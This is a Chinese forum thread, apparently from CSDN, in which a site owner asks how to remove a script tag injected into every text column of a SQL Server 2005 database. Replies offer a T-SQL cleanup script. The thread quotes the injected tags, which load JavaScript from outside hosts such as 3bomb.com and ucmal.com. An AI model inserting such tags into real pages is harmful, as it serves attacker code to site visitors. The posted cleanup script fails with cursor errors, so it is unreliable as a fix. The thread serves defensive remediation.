网站文本型字段被注入<script src=http://3bomb.%63om/c.js></script>,搞了半天没发现什么原因?
1,用户数量少,我在51.la后台管理里面也没有发现什么嫌疑人
2,我在执行每一个sql语句的时候,检测了一下安全性
3,我修改了sql server 2005 的网站登录名,密码
4,我修改了服务器的登录密码
有没有办法一次性清除这段代码?

解决方案 »

  1.   

    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  2.   

    数据库被注入攻击   所有文本型字下段数据都被加了     <script_src=http://ucmal.com/0.js> </script> 
    怎么删掉?
    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  3.   

    SQL注入专题
    http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
      

  4.   

    我的是sql server 2005,报错
    消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 27 行
    目前没有为变量 '@local_cursor' 分配游标。
    消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 32 行
    目前没有为变量 '@local_cursor' 分配游标。
    消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 153 行
    目前没有为变量 '@local_cursor' 分配游标。
    消息 16916,级别 16,状态 1,过程 sp_MSforeach_worker,第 155 行
    名为 'hCForEachDatabase' 的游标不存在。